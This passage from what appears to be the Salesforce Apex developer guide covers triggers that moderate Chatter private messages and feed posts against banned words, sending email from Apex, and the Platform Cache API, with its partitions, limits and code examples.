field level sharing, and visibility. For example, if the context user is a member of a private group, ConnectApi classes can post
to that group. If the context user is not a member of a private group, the code can’t see the feed items for that group and can’t post
to the group.
Asynchronous operations
Some Chatter in Apex operations are asynchronous, that is, they don’t occur immediately. For example, if your code adds a feed
item for a user, it isn’t immediately available in the news feed. Another example: when you add a photo, it’s not available immediately.
For testing, if you add a photo, you can’t retrieve it immediately.
No XML support in Apex REST
Apex REST doesn’t support XML serialization and deserialization of Chatter in Apex objects. Apex REST does support JSON serialization
and deserialization of Chatter in Apex objects.
Empty log entries
Information about Chatter in Apex objects doesn’t appear in VARIABLE_ASSIGNMENT log events.
359
Differences Between ConnectApi Classes and Other Apex
Classes
Using Salesforce Features with Apex
No Apex SOAP web services support
Chatter in Apex objects can’t be used in Apex SOAP web services indicated with the keyword webservice.
Moderate Chatter Private Messages with Triggers
EDITIONS
Available in: Salesforce
Classic
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions
USER PERMISSIONS
To save Apex triggers for
ChatterMessage:
•“Author Apex”
AND
“Manage Chatter
Messages and Direct
Messages”
Write a trigger for ChatterMessage to automate the moderation of private messages in an
organization or community. Use triggers to ensure that messages conform to your company’s
messaging policies and don’t contain blacklisted words.
Write an Apex before insert trigger to review the private message body and information about the
sender. You can add validation messages to the record or the Body field, which causes the message
to fail and an error to be returned to the user.
Although you can create an after insert trigger, ChatterMessage is not updatable, and consequently
any after insert trigger that modifies ChatterMessage will fail at run time with an appropriate error
message.
To create a trigger for private messages from Setup, enter ChatterMessage Triggers in
the Quick Find box, then select ChatterMessage Triggers. Alternatively, you can create a
trigger from the Developer Console by clicking File > New > Apex Trigger and selecting
ChatterMessage from the sObject drop-down list.
This table lists the fields that are exposed on ChatterMessage.
Table 3: Available Fields in ChatterMessage
DescriptionApex Data TypeField
Unique identifier for the Chatter messageIDId
Body of the Chatter message as posted by the
sender
StringBody
User ID of the senderIDSenderId
Date and time that the message was sentDateTimeSentDate
Network (Community) in which the message
was sent.
This field is visible only if communities are
enabled and Private Messages are enabled in
at least one community.
IDSendingNetworkId
This example shows a before insert trigger on ChatterMessage that is used to review each new message. This trigger calls a class method,
moderator.review(), to review each new message before it is inserted.
trigger PrivateMessageModerationTrigger on ChatterMessage (before insert) {
ChatterMessage[] messages = Trigger.new;
// Instantiate the Message Moderator using the factory method
MessageModerator moderator = MessageModerator.getInstance();
for (ChatterMessage currentMessage : messages) {
360
Moderate Chatter Private Messages with TriggersUsing Salesforce Features with Apex
moderator.review(currentMessage);
}
}
If a message violates your policy, for example when the message body contains blacklisted words, you can prevent the message from
being sent by calling the Apex addError method. You can call addError to add a custom error message on a field or on the
entire message. The following snippet shows a portion of the reviewContent method that adds an error to the message Body
field.
if (proposedMsg.contains(nextBlackListedWord)) {
theMessage.Body.addError(
'This message does not conform to the acceptable use policy');
System.debug('moderation flagged message with word: '
+ nextBlackListedWord);
problemsFound=true;
break;
}
The following is the full MessageModerator class, which contains methods for reviewing the sender and the content of messages.
Part of the code in this class has been deleted for brevity.
public class MessageModerator {
private Static List<String> blacklistedWords=null;
private Static MessageModerator instance=null;
/**
Overall review includes checking the content of the message,
and validating that the sender is allowed to send messages.
**/
public void review(ChatterMessage theMessage) {
reviewContent(theMessage);
reviewSender(theMessage);
}
/**
This method is used to review the content of the message. If the content
is unacceptable, field level error(s) are added.
**/
public void reviewContent(ChatterMessage theMessage) {
// Forcing to lower case for matching
String proposedMsg=theMessage.Body.toLowerCase();
boolean problemsFound=false;// Assume it's acceptable
// Iterate through the blacklist looking for matches
for (String nextBlackListedWord : blacklistedWords) {
if (proposedMsg.contains(nextBlackListedWord)) {
theMessage.Body.addError(
'This message does not conform to the acceptable use policy');
System.debug('moderation flagged message with word: '
+ nextBlackListedWord);
problemsFound=true;
break;
}
}
// For demo purposes, we're going to add a "seal of approval" to the
361
Moderate Chatter Private Messages with TriggersUsing Salesforce Features with Apex
// message body which is visible.
if (!problemsFound) {
theMessage.Body = theMessage.Body +
' *** approved, meets conduct guidelines';
}
}
/**
Is the sender allowed to send messages in this context?
-- Moderators -- always allowed to send
-- Internal Members -- always allowed to send
-- Community Members -- in general only allowed to send if they have
a sufficient Reputation
-- Community Members -- with insufficient reputation may message the
moderator(s)
**/
public void reviewSender(ChatterMessage theMessage) {
// Are we in a Community Context?
boolean isCommunityContext = (theMessage.SendingNetworkId != null);
// Get the User
User sendingUser = [SELECT Id, Name, UserType, IsPortalEnabled
FROM User where Id = :theMessage.SenderId ];
// ...
}
/**
Enforce a singleton pattern to improve performance
**/
public static MessageModerator getInstance() {
if (instance==null) {
instance = new MessageModerator();
}
return instance;
}
/**
Default contructor is private to prevent others from instantiating this class
without using the factory.
Initializes the static members.
**/
private MessageModerator() {
initializeBlackList();
}
/**
Helper method that does the "heavy lifting" to load up the dictionaries
from the database.
Should only run once to initialize the static member which is used for
subsequent validations.
**/
private void initializeBlackList() {
if (blacklistedWords==null) {
362
Moderate Chatter Private Messages with TriggersUsing Salesforce Features with Apex
// Fill list of blacklisted words
// ...
}
}
}
Moderate Feed Items with Triggers
EDITIONS
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions
USER PERMISSIONS
To save Apex triggers for
FeedItem:
•“Author Apex”
Write a trigger for FeedItem to automate the moderation of posts in an organization or community.
Use triggers to ensure that posts conform to your company’s communication policies and don’t
contain unwanted words or phrases.
Write an Apex before insert trigger to review the feed item body and change the status of the feed
item if it contains a blacklisted phrase. To create a trigger for feed items from Setup, enter
FeedItem Triggers in the Quick Find box, then select FeedItem Triggers. Alternatively,
you can create a trigger from the Developer Console by clicking File > New > Apex Trigger and
selecting FeedItem from the sObject drop-down list.
This example shows a before insert trigger on FeedItem that is used to review each new post. If the
post contains the unwanted phrase, the trigger also sets the status of the post to
PendingReview.
trigger ReviewFeedItem on FeedItem (before insert) {
for (Integer i = 0; i<trigger.new.size(); i++) {
// We don't want to leak "test phrase" information.
if (trigger.new[i].body.containsIgnoreCase('test phrase')) {
trigger.new[i].status = 'PendingReview';
System.debug('caught one for pendingReview');
}
}
}
Communities
Communities are branded spaces for your employees, customers, and partners to connect. You can customize and create communities
to meet your business needs, then transition seamlessly between them.
Communities are branded spaces for your employees, customers, and partners to connect. You can interact with communities in Apex
using the Network class and using Chatter in Apex classes in the ConnectApi namespace.
Chatter in Apex has a ConnectApi.Communities class with methods that return information about communities. Also, most
Chatter in Apex methods take a communityId argument.
SEE ALSO:
Network Class
ConnectApi Namespace
363
Moderate Feed Items with TriggersUsing Salesforce Features with Apex
Email
You can use Apex to work with inbound and outbound email.
Use Apex with these email features:
IN THIS SECTION:
Inbound Email
Use Apex to work with email sent to Salesforce.
Outbound Email
Use Apex to work with email sent from Salesforce.
Inbound Email
Use Apex to work with email sent to Salesforce.
You can use Apex to receive and process email and attachments. The email is received by the Apex email service, and processed by
Apex classes that utilize the InboundEmail object.
Note: The Apex email service is only available in Developer, Enterprise, Unlimited, and Performance Edition organizations.
See Apex Email Service.
Outbound Email
Use Apex to work with email sent from Salesforce.
You can use Apex to send individual and mass email. The email can include all standard email attributes (such as subject line and blind
carbon copy address), use Salesforce email templates, and be in plain text or HTML format, or those generated by Visualforce.
Note: Visualforce email templates cannot be used for mass email.
You can use Salesforce to track the status of email in HTML format, including the date the email was sent, first opened and last opened,
and the total number of times it was opened.
To send individual and mass email with Apex, use the following classes:
SingleEmailMessage
Instantiates an email object used for sending a single email message. The syntax is:
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
MassEmailMessage
Instantiates an email object used for sending a mass email message. The syntax is:
Messaging.MassEmailMessage mail = new Messaging.MassEmailMessage();
Messaging
Includes the static sendEmail method, which sends the email objects you instantiate with either the SingleEmailMessage
or MassEmailMessage classes, and returns a SendEmailResult object.
The syntax for sending an email is:
Messaging.sendEmail(new Messaging.Email[] { mail } , opt_allOrNone);
364
EmailUsing Salesforce Features with Apex
where Email is either Messaging.SingleEmailMessage or Messaging.MassEmailMessage.
The optional opt_allOrNone parameter specifies whether sendEmail prevents delivery of all other messages when any of
the messages fail due to an error (true), or whether it allows delivery of the messages that don't have errors (false). The default
is true.
Includes the static reserveMassEmailCapacity and reserveSingleEmailCapacity methods, which can be
called before sending any emails to ensure that the sending organization won't exceed its daily email limit when the transaction is
committed and emails are sent. The syntax is:
Messaging.reserveMassEmailCapacity(count);
and
Messaging.reserveSingleEmailCapacity(count);
where count indicates the total number of addresses that emails will be sent to.
Note the following:
•The email is not sent until the Apex transaction is committed.
•The email address of the user calling the sendEmail method is inserted in the From Address field of the email header. All
email that is returned, bounced, or received out-of-office replies goes to the user calling the method.
•Maximum of 10 sendEmail methods per transaction. Use the Limits methods to verify the number of sendEmail methods
in a transaction.
•Single email messages sent with the sendEmail method count against the sending organization's daily single email limit. When
this limit is reached, calls to the sendEmail method using SingleEmailMessage are rejected, and the user receives a
SINGLE_EMAIL_LIMIT_EXCEEDED error code. However, single emails sent through the application are allowed.
•Mass email messages sent with the sendEmail method count against the sending organization's daily mass email limit. When
this limit is reached, calls to the sendEmail method using MassEmailMessage are rejected, and the user receives a
MASS_MAIL_LIMIT_EXCEEDED error code.
•Any error returned in the SendEmailResult object indicates that no email was sent.
Messaging.SingleEmailMessage has a method called setOrgWideEmailAddressId. It accepts an object ID to an
OrgWideEmailAddress object. If setOrgWideEmailAddressId is passed a valid ID, the
OrgWideEmailAddress.DisplayName field is used in the email header, instead of the logged-in user's Display Name.
The sending email address in the header is also set to the field defined in OrgWideEmailAddress.Address.
Note: If both OrgWideEmailAddress.DisplayName and setSenderDisplayName are defined, the user receives
a DUPLICATE_SENDER_DISPLAY_NAME error.
For more information, see Organization-Wide Addresses: Let Users Send Email from Salesforce Using a Common From Address in the
Salesforce online help.
Example
// First, reserve email capacity for the current Apex transaction to ensure
// that we won't exceed our daily email limits when sending email after
// the current transaction is committed.
Messaging.reserveSingleEmailCapacity(2);
// Processes and actions involved in the Apex transaction occur next,
// which conclude with sending a single email.
365
Outbound EmailUsing Salesforce Features with Apex
// Now create a new single email message object
// that will send out a single email to the addresses in the To, CC & BCC list.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
// Strings to hold the email addresses to which you are sending the email.
String[] toAddresses = new String[] {'user@acme.com'};
String[] ccAddresses = new String[] {'smith@gmail.com'};
// Assign the addresses for the To and CC lists to the mail object.
mail.setToAddresses(toAddresses);
mail.setCcAddresses(ccAddresses);
// Specify the address used when the recipients reply to the email.
mail.setReplyTo('support@acme.com');
// Specify the name used as the display name.
mail.setSenderDisplayName('Salesforce Support');
// Specify the subject line for your email address.
mail.setSubject('New Case Created : ' +case.Id);
// Set to True if you want to BCC yourself on the email.
mail.setBccSender(false);
// Optionally append the salesforce.com email signature to the email.
// The email address of the user executing the Apex Code will be used.
mail.setUseSignature(false);
// Specify the text content of the email.
mail.setPlainTextBody('Your Case: ' +case.Id +' has been created.');
mail.setHtmlBody('Your case:<b> ' +case.Id +' </b>has been created.<p>'+
'To view your case <a href=https://yourInstance.salesforce.com/'+case.Id+'>click
here.</a>');
// Send the email you have created.
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
Platform Cache
The Force.com Platform Cache layer provides faster performance and better reliability when caching Salesforce session and org data.
Specify what to cache and for how long without using custom objects and settings or overloading a Visualforce view state. Platform
Cache improves performance by distributing cache space so that some applications or operations don’t steal capacity from others.
Because Apex runs in a multi-tenant environment with cached data living alongside internally cached data, caching involves minimal
disruption to core Salesforce processes.
366
Platform CacheUsing Salesforce Features with Apex
IN THIS SECTION:
Platform Cache Features
The Platform Cache API lets you store and retrieve data that’s tied to Salesforce sessions or shared across your org. Put, retrieve, or
remove cache values by using the Cache.Session, Cache.Org, Session.Partition, and Org.Partition classes
in the Cache namespace. Use the Platform Cache Partition tool in Setup to create or remove org partitions and allocate their cache
capacities to balance performance across apps.
Platform Cache Considerations
Review these considerations when working with Platform Cache.
Platform Cache Limits
The following limits apply when using Platform Cache.
Platform Cache Partitions
Use Platform Cache partitions to improve the performance of your applications. Partitions allow you to distribute cache space in the
way that works best for your applications. Caching data to designated partitions ensures that it’s not overwritten by other applications
or less-critical data.
Platform Cache Internals
Platform Cache uses local cache and a least recently used (LRU) algorithm to improve performance.
Store and Retrieve Values from the Session Cache
Use the Cache.Session and Cache.SessionPartition classes to manage values in the session cache. To manage
values in any partition, use the methods in the Cache.Session class. If you’re managing cache values in one partition, use the
Cache.SessionPartition methods instead.
Use a Visualforce Global Variable for the Session Cache
Access cached values stored in the session cache from a Visualforce page by using the $Cache.Session global variable.
Store and Retrieve Values from the Org Cache
Use the Cache.Org and Cache.OrgPartition classes to manage values in the org cache. To manage values in any partition,
use the methods in the Cache.Org class. If you’re managing cache values in one partition, use the Cache.OrgPartition
methods instead.
Platform Cache Best Practices
Platform Cache can greatly improve performance in your applications. However, it’s important to follow these guidelines to get the
best cache performance. In general, it’s more efficient to cache a few large items than to cache many small items separately. Also
be mindful of cache limits to prevent unexpected cache evictions.
Platform Cache Features
The Platform Cache API lets you store and retrieve data that’s tied to Salesforce sessions or shared across your org. Put, retrieve, or remove
cache values by using the Cache.Session, Cache.Org, Session.Partition, and Org.Partition classes in the
Cache namespace. Use the Platform Cache Partition tool in Setup to create or remove org partitions and allocate their cache capacities
to balance performance across apps.
There are two types of cache:
•Session cache—Stores data for individual user sessions. For example, in an app that finds customers within specified territories,
the calculations that run while users browse different locations on a map are reused.
Session cache lives alongside a user session. The maximum life of a session is eight hours. Session cache expires when its specified
time-to-live (ttlsecs value) is reached or when the session expires after eight hours, whichever comes first.
367
Platform Cache FeaturesUsing Salesforce Features with Apex
•Org cache—Stores data that any user in an org reuses. For example, the contents of navigation bars that dynamically display menu
items based on user profile are reused.
Unlike session cache, org cache is accessible across sessions, requests, and org users and profiles. Org cache expires when its specified
time-to-live (ttlsecs value) is reached.
The best data to cache is:
•Reused throughout a session
•Static (not rapidly changing)
•Otherwise expensive to retrieve
For both session and org caches, you can construct calls so that cached data in one namespace isn’t overwritten by similar data in
another. Optionally use the Cache.Visibility enumeration to specify whether Apex code can access cached data in a namespace
outside of the invoking namespace.
Each cache operation depends on the Apex transaction within which it runs. If the entire transaction fails, all cache operations in that
transaction are rolled back.
Try Platform Cache
To test performance improvements by using Platform Cache in your own org, you can request trial cache for your production org.
Enterprise, Unlimited, and Performance editions come with some cache, but adding more cache often provides greater performance.
When your trial request is approved, you can allocate capacity to partitions and experiment with using the cache for different scenarios.
Testing the cache on a trial basis lets you make an informed decision about whether to purchase cache.
For more information about trial cache, see “Request a Platform Cache Trial” in the Salesforce online help.
Platform Cache is also available for purchase. For more information about purchasing cache, see “Purchase Platform Cache” in the
Salesforce online help.
SEE ALSO:
Session Class
Org Class
Partition Class
OrgPartition Class
SessionPartition Class
Platform Cache Considerations
Review these considerations when working with Platform Cache.
•Cache isn’t persisted. There’s no guarantee against data loss.
•Data in the cache isn’t encrypted.
•Org cache supports concurrent reads and writes across multiple simultaneous Apex transactions. For example, a transaction updates
the key PetName with the value Fido. At the same time, another transaction updates the same key with the value Felix. Both
writes succeed, but one of the two values is chosen arbitrarily as the winner, and later transactions read that one value. However,
this arbitrary choice is per key rather than per transaction. For example, suppose one transaction writes PetType="Cat" and
PetName="Felix". Then, at the same moment, another transaction writes PetType="Dog" and PetName="Fido".
In this case, the PetType winning value could be from the first transaction, and the PetName winning value could be from the
second transaction. Subsequent get() calls on those keys would return PetType="Cat" and PetName="Fido".
368
Platform Cache ConsiderationsUsing Salesforce Features with Apex
•Cache misses can happen. We recommend constructing your code to consider a case where previously cached items aren’t found.
•Session cache doesn’t support asynchronous Apex. For example, you can’t use future methods or batch Apex with session cache.
•Session cache doesn’t support Anonymous Apex blocks. For example, if you execute Anonymous Apex in the Developer Console,
you get an error.
•Cache operations made using the put and remove methods in the Cache Namespace aren’t supported in constructors of
Visualforce controllers.
•Partitions must adhere to the limits within Salesforce.
•The session cache can store values up to eight hours. The org cache can store values up to 48 hours.
Platform Cache Limits
The following limits apply when using Platform Cache.
Edition-specific Limits
The following table shows the amount of Platform Cache available for different types of orgs. To purchase more cache, contact your
Salesforce representative.
Cache SizeEdition
10 MBEnterprise
30 MBUnlimited and Performance
0 MBAll others
Partition Size Limits
ValueLimit
5 MBMinimum partition size
Session Cache Limits
ValueLimit
100 KBMaximum size of a single cached item (for put() methods)
500 KBMaximum local cache size for a partition, per-request1
300 seconds (5 minutes)Minimum developer-assigned time-to-live
28,800 seconds (8 hours)Maximum developer-assigned time-to-live
28,800 seconds (8 hours)Maximum session cache time-to-live
369
Platform Cache LimitsUsing Salesforce Features with Apex
Org Cache Limits
ValueLimit
100 KBMaximum size of a single cached item (for put() methods)
1,000 KBMaximum local cache size for a partition, per-request1
300 seconds (5 minutes)Minimum developer-assigned time-to-live
172,800 seconds (48 hours)Maximum developer-assigned time-to-live
86,400 seconds (24 hours)Default org cache time-to-live
1 Local cache is the application server’s in-memory container that the client interacts with during a request.
Platform Cache Partitions
Use Platform Cache partitions to improve the performance of your applications. Partitions allow you to distribute cache space in the way
that works best for your applications. Caching data to designated partitions ensures that it’s not overwritten by other applications or
less-critical data.
To use Platform Cache, first set up partitions using the Platform Cache Partition tool in Setup. Once you’ve set up partitions, you can add,
access, and remove data from them using the Platform Cache Apex API.
To access the Partition tool in Setup, enter Platform Cache in the Quick Find box, then select Platform Cache.
Use the Partition tool to:
•Request trial cache.
•Create, edit, or delete cache partitions.
•Allocate the session cache and org cache capacities of each partition to balance performance across apps.
•View a snapshot of the org’s current cache capacity, breakdown, and partition allocations (in KB or MB).
•View details about each partition.
•Make any partition the default partition.
To use Platform Cache, create at least one partition. Each partition has one session cache and one org cache segment and you can
allocate separate capacity to each segment. Session cache can be used to store data for individual user sessions, and org cache is for
data that any users in an org can access. You can distribute your org’s cache space across any number of partitions. Session and org
cache allocations can be zero, or five or greater, and they must be whole numbers. The sum of all partition allocations, including the
default partition, equals the Platform Cache total allocation. The total allocated capacity of all cache segments must be less than or equal
to the org’s overall capacity.
You can define any partition as the default partition, but you can have only one default partition. When a partition has no allocation,
cache operations (such as get and put) are not invoked, and no error is returned.
When performing cache operations within the default partition, you can omit the partition name from the key.
After you set up partitions, you can use Apex code to perform cache operations on a partition. For example, use the
Session.Partition and Org.Partition classes to put, retrieve, or remove values on a specific partition’s cache. Use
Cache.Session and Cache.Org to get a partition or perform cache operations by using a fully qualified key.
370
Platform Cache PartitionsUsing Salesforce Features with Apex
Packaging Platform Cache Partitions
When packaging an application that uses Platform Cache, add any referenced partitions to your packages explicitly. Partitions aren’t
pulled into packages automatically, as other dependencies are. Partition validation occurs during run time, rather than compile time.
Therefore, if a partition is missing from a package, you don’t receive an error message at compile time.
Note: If platform cache code is intended for a package, don’t use the default partition in the package. Instead, explicitly reference
and package a non-default partition. Any package containing the default partition can’t be deployed.
If you’re working with managed packages, we recommend using Branch Packaging Orgs to share a namespace across partitions. This
feature lets you maintain multiple orgs or partitions as “branches” of your primary org. For information about Branch Packaging Orgs,
contact Salesforce.
SEE ALSO:
Partition Class
OrgPartition Class
SessionPartition Class
Metadata API Developer’s Guide: Platform Cache Partition Type
Platform Cache Internals
Platform Cache uses local cache and a least recently used (LRU) algorithm to improve performance.
Local Cache
Platform Cache uses local cache to improve performance, ensure efficient use of the network, and support atomic transactions. Local
cache is the application server’s in-memory container that the client interacts with during a request. Cache operations don’t interact
with the caching layer directly, but instead interact with local cache.
For session cache, all cached items are loaded into local cache upon first request. All subsequent interactions use the local cache. Similarly,
an org cache get operation retrieves a value from the caching layer and stores it in the local cache. Subsequent requests for this value
are retrieved from the local cache. All mutable operations, such as put and remove, are also performed against the local cache. Upon
successful completion of the request, mutable operations are committed.
Note: Local cache doesn’t support concurrent operations. Mutable operations, such as put and remove, are performed against
the local cache and are only committed when the entire Apex request is successful. Therefore, other simultaneous requests don’t
see the results of the mutable operations.
Atomic Transactions
Each cache operation depends on the Apex request that it runs in. If the entire request fails, all cache operations in that request are rolled
back. Behind the scenes, the use of local cache supports these atomic transactions.
Eviction Algorithm
When possible, Platform Cache uses an LRU algorithm to evict keys from the cache. When cache limits are reached, keys are evicted
until the cache is reduced to 100-percent capacity. If session cache is used, the system removes cache evenly from all existing session
371
Platform Cache InternalsUsing Salesforce Features with Apex
cache instances. Local cache also uses an LRU algorithm. When the maximum local cache size for a partition is reached, the least recently
used items are evicted from the local cache.
SEE ALSO:
Platform Cache Limits
Store and Retrieve Values from the Session Cache
Use the Cache.Session and Cache.SessionPartition classes to manage values in the session cache. To manage values
in any partition, use the methods in the Cache.Session class. If you’re managing cache values in one partition, use the
Cache.SessionPartition methods instead.
Cache.Session Methods
To store a value in the session cache, call the Cache.Session.put() method and supply a key and value. The key name is in the
format namespace.partition.key. For example, for namespace ns1, partition partition1, and key orderDate, the fully qualified
key name is ns1.partition1.orderDate.
This example stores a DateTime cache value with the key orderDate. Next, the snippet checks if the orderDate key is in the
cache, and if so, retrieves the value from the cache.
// Add a value to the cache
DateTime dt = DateTime.parse('06/16/2015 11:46 AM');
Cache.Session.put('ns1.partition1.orderDate', dt);
if (Cache.Session.contains('ns1.partition1.orderDate')) {
DateTime cachedDt = (DateTime)Cache.Session.get('ns1.partition1.orderDate');
}
To refer to the default partition and the namespace of the invoking class, omit the namespace.partition prefix and specify the
key name.
Cache.Session.put('orderDate', dt);
if (Cache.Session.contains('orderDate')) {
DateTime cachedDt = (DateTime)Cache.Session.get('orderDate');
}
The local prefix refers to the namespace of the current org where the code is running, regardless of whether the org has a namespace
defined. If the org has a namespace defined as ns1, the following two statements are equivalent.
Cache.Session.put('local.myPartition.orderDate', dt);
Cache.Session.put('ns1.myPartition.orderDate', dt);
Note: The local prefix in an installed managed package refers to the namespace of the subscriber org and not the package’s
namespace. The cache put calls are not allowed in a partition that the invoking class doesn’t own.
The put() method has multiple versions (or overloads), and each version takes different parameters. For example, to specify that your
cached value can’t be overwritten by another namespace, set the last parameter of this method to true. The following example also
sets the lifetime of the cached value (3600 seconds or 1 hour) and makes the value available to any namespace.
// Add a value to the cache with options
Cache.Session.put('ns1.partition1.totalSum','500', 3600, Cache.Visibility.ALL, true);
372
Store and Retrieve Values from the Session CacheUsing Salesforce Features with Apex
To retrieve a cached value from the session cache, call the Cache.Session.get() method. Because Cache.Session.get()
returns an object, we recommend that you cast the returned value to a specific type.
// Get a cached value
Object obj = Cache.Session.get('ns1.partition1.orderDate');
// Cast return value to a specific data type
DateTime dt2 = (DateTime)obj;
Cache.SessionPartition Methods
If you’re managing cache values in one partition, use the Cache.SessionPartition methods instead. After the partition object
is obtained, the process of adding and retrieving cache values is similar to using the Cache.Session methods. The
Cache.SessionPartition methods are easier to use because you specify only the key name without the namespace and
partition prefix.
First, get the session partition and specify the desired partition. The partition name includes the namespace prefix:
namespace.partition. You can manage the cached values in that partition by adding and retrieving cache values on the obtained
partition object. The following example obtains the partition named myPartition in the myNs namespace. Next, if the cache contains a
value with the key BookTitle, this cache value is retrieved. A new value is added with key orderDate and today’s date.
// Get partition
Cache.SessionPartition sessionPart = Cache.Session.getPartition('myNs.myPartition');
// Retrieve cache value from the partition
if (sessionPart.contains('BookTitle')) {
String cachedTitle = (String)sessionPart.get('BookTitle');
}
// Add cache value to the partition
sessionPart.put('OrderDate',Date.today());
This example calls the get method on a partition in one expression without assigning the partition instance to a variable.
// Or use dot notation to call partition methods
String cachedAuthor =
(String)Cache.Session.getPartition('myNs.myPartition').get('BookAuthor');
Use a Visualforce Global Variable for the Session Cache
Access cached values stored in the session cache from a Visualforce page by using the $Cache.Session global variable.
Note: The Visualforce global variable is available only for the session cache and not for the org cache.
When using the $Cache.Session global variable, fully qualify the key name with the namespace and partition name. This example
is an output text component that retrieves a cached value from the namespace myNamespace, partition myPartition, and key key1.
<apex:outputText value="{!$Cache.Session.myNamespace.myPartition.key1}"/>
Unlike with Apex methods, you can’t omit the myNamespace.myPartition prefix to reference the default partition in the org.
If a namespace is not defined for the org, use local to refer to the org’s namespace.
<apex:outputText value="{!$Cache.Session.local.myPartition.key1}"/>
373
Use a Visualforce Global Variable for the Session CacheUsing Salesforce Features with Apex
If the cached value is a data structure that has properties or methods, like an Apex List or a custom class, those properties can be accessed
in the $Cache.Session expression by using dot notation. For example, this markup invokes the List.size() Apex method
if the value of numbersList is declared as a List.
<apex:outputText value="{!$Cache.Session.local.myPartition.numbersList.size}"/>
This example accesses the value property on the myData cache value that is declared as a custom class.
<apex:outputText value="{!$Cache.Session.local.myPartition.myData.value}"/>
Store and Retrieve Values from the Org Cache
Use the Cache.Org and Cache.OrgPartition classes to manage values in the org cache. To manage values in any partition,
use the methods in the Cache.Org class. If you’re managing cache values in one partition, use the Cache.OrgPartition
methods instead.
Cache.Org Methods
To store a value in the org cache, call the Cache.Org.put() method and supply a key and value. The key name is in the format
namespace.partition.key. For example, for namespace ns1, partition partition1, and key orderDate, the fully qualified key
name is ns1.partition1.orderDate.
This example stores a DateTime cache value with the key orderDate. Next, the snippet checks if the orderDate key is in the
cache, and if so, retrieves the value from the cache.
// Add a value to the cache
DateTime dt = DateTime.parse('06/16/2015 11:46 AM');
Cache.Org.put('ns1.partition1.orderDate', dt);
if (Cache.Org.contains('ns1.partition1.orderDate')) {
DateTime cachedDt = (DateTime)Cache.Org.get('ns1.partition1.orderDate');
}
To refer to the default partition and the namespace of the invoking class, omit the namespace.partition prefix and specify the
key name.
Cache.Org.put('orderDate', dt);
if (Cache.Org.contains('orderDate')) {
DateTime cachedDt = (DateTime)Cache.Org.get('orderDate');
}
The local prefix refers to the namespace of the current org where the code is running. The local prefix refers to the namespace
of the current org where the code is running, regardless of whether the org has a namespace defined. If the org has a namespace defined
as ns1, the following two statements are equivalent.
Cache.Org.put('local.myPartition.orderDate', dt);
Cache.Org.put('ns1.myPartition.orderDate', dt);
Note: The local prefix in an installed managed package refers to the namespace of the subscriber org and not the package’s
namespace. The cache put calls are not allowed in a partition that the invoking class doesn’t own.
374
Store and Retrieve Values from the Org CacheUsing Salesforce Features with Apex
The put() method has multiple versions (or overloads), and each version takes different parameters. For example, to specify that your
cached value can’t be overwritten by another namespace, set the last parameter of this method to true. The following example also
sets the lifetime of the cached value (3600 seconds or 1 hour) and makes the value available to any namespace.
// Add a value to the cache with options
Cache.Org.put('ns1.partition1.totalSum','500', 3600, Cache.Visibility.ALL, true);
To retrieve a cached value from the org cache, call the Cache.Org.get() method. Because Cache.Org.get() returns an
object, we recommend that you cast the returned value to a specific type.
// Get a cached value
Object obj = Cache.Org.get('ns1.partition1.orderDate');
// Cast return value to a specific data type
DateTime dt2 = (DateTime)obj;
Cache.OrgPartition Methods
If you’re managing cache values in one partition, use the Cache.OrgPartition methods instead. After the partition object is
obtained, the process of adding and retrieving cache values is similar to using the Cache.Org methods. The Cache.OrgPartition
methods are easier to use because you specify only the key name without the namespace and partition prefix.
First, get the org partition and specify the desired partition. The partition name includes the namespace prefix:
namespace.partition. You can manage the cached values in that partition by adding and retrieving cache values on the obtained
partition object. The following example obtains the partition named myPartition in the myNs namespace. If the cache contains a value
with the key BookTitle, this cache value is retrieved. A new value is added with key orderDate and today’s date.
// Get partition
Cache.OrgPartition orgPart = Cache.Org.getPartition('myNs.myPartition');
// Retrieve cache value from the partition
if (orgPart.contains('BookTitle')) {
String cachedTitle = (String)orgPart.get('BookTitle');
}
// Add cache value to the partition
orgPart.put('OrderDate',Date.today());
This example calls the get method on a partition in one expression without assigning the partition instance to a variable.
// Or use dot notation to call partition methods
String cachedAuthor = (String)Cache.Org.getPartition('myNs.myPartition').get('BookAuthor');
Platform Cache Best Practices
Platform Cache can greatly improve performance in your applications. However, it’s important to follow these guidelines to get the best
cache performance. In general, it’s more efficient to cache a few large items than to cache many small items separately. Also be mindful
of cache limits to prevent unexpected cache evictions.
Evaluate the Performance Impact
To test whether Platform Cache improves performance in your application, calculate the elapsed time with and without using the cache.
Don’t rely on the Apex debug log timestamp for the execution time. Use the System.currentTimeMillis() method instead.
375
Platform Cache Best PracticesUsing Salesforce Features with Apex
For example, first call System.currentTimeMillis() to get the start time. Perform application logic, fetching the data from
either the cache or another data source. Then calculate the elapsed time.
long startTime = System.currentTimeMillis();
// Your code here
long elapsedTime = System.currentTimeMillis() - startTime;
System.debug(elapsedTime);
Handle Cache Misses Gracefully
Ensure that your code handles cache misses by testing cache requests that return null. To help with debugging, add logging information
for cache operations.
public class CacheManager {
private Boolean cacheEnabled;
public void CacheManager() {
cacheEnabled = true;
}
public Boolean toggleEnabled() { // Use for testing misses
cacheEnabled = !cacheEnabled;
return cacheEnabled;
}
public Object get(String key) {
if (!cacheEnabled) return null;
Object value = Cache.Session.get(key);
if (value != null) System.debug(LoggingLevel.DEBUG, 'Hit for key ' + key);
return value;
}
public void put(String key, Object value, Integer ttl) {
if (!cacheEnabled) return;
Cache.Session.put(key, value, ttl);
// for redundancy, save to DB
System.debug(LoggingLevel.DEBUG, 'put() for key ' + key);
}
public Boolean remove(String key) {
if (!cacheEnabled) return false;
Boolean removed = Cache.Session.remove(key);
if (removed) {
System.debug(LoggingLevel.DEBUG, 'Removed key ' + key);
return true;
}else return false;
}
}
376
Platform Cache Best PracticesUsing Salesforce Features with Apex
Group Cache Requests
When possible, group cache requests, but be aware of caching limits. To help improve performance, perform cache operations on a list
of keys rather than on individual keys. For example, if you know which keys are necessary to invoke a Visualforce page or perform a task
in Apex, retrieve all keys at once. To retrieve multiple keys, call get(keys) in an initialization method.
Note: Aggregate functions are available only for the Cache.Org class.
Cache Larger Items
It’s more efficient to cache a few large items than to cache many small items separately. Caching many small items decreases performance
and increases overhead, including total serialization size, serialization time, cache commit time, and cache capacity usage.
Don’t add many small items to the Platform Cache within one request. Instead, wrap data in larger items, such as lists. If a list is large,
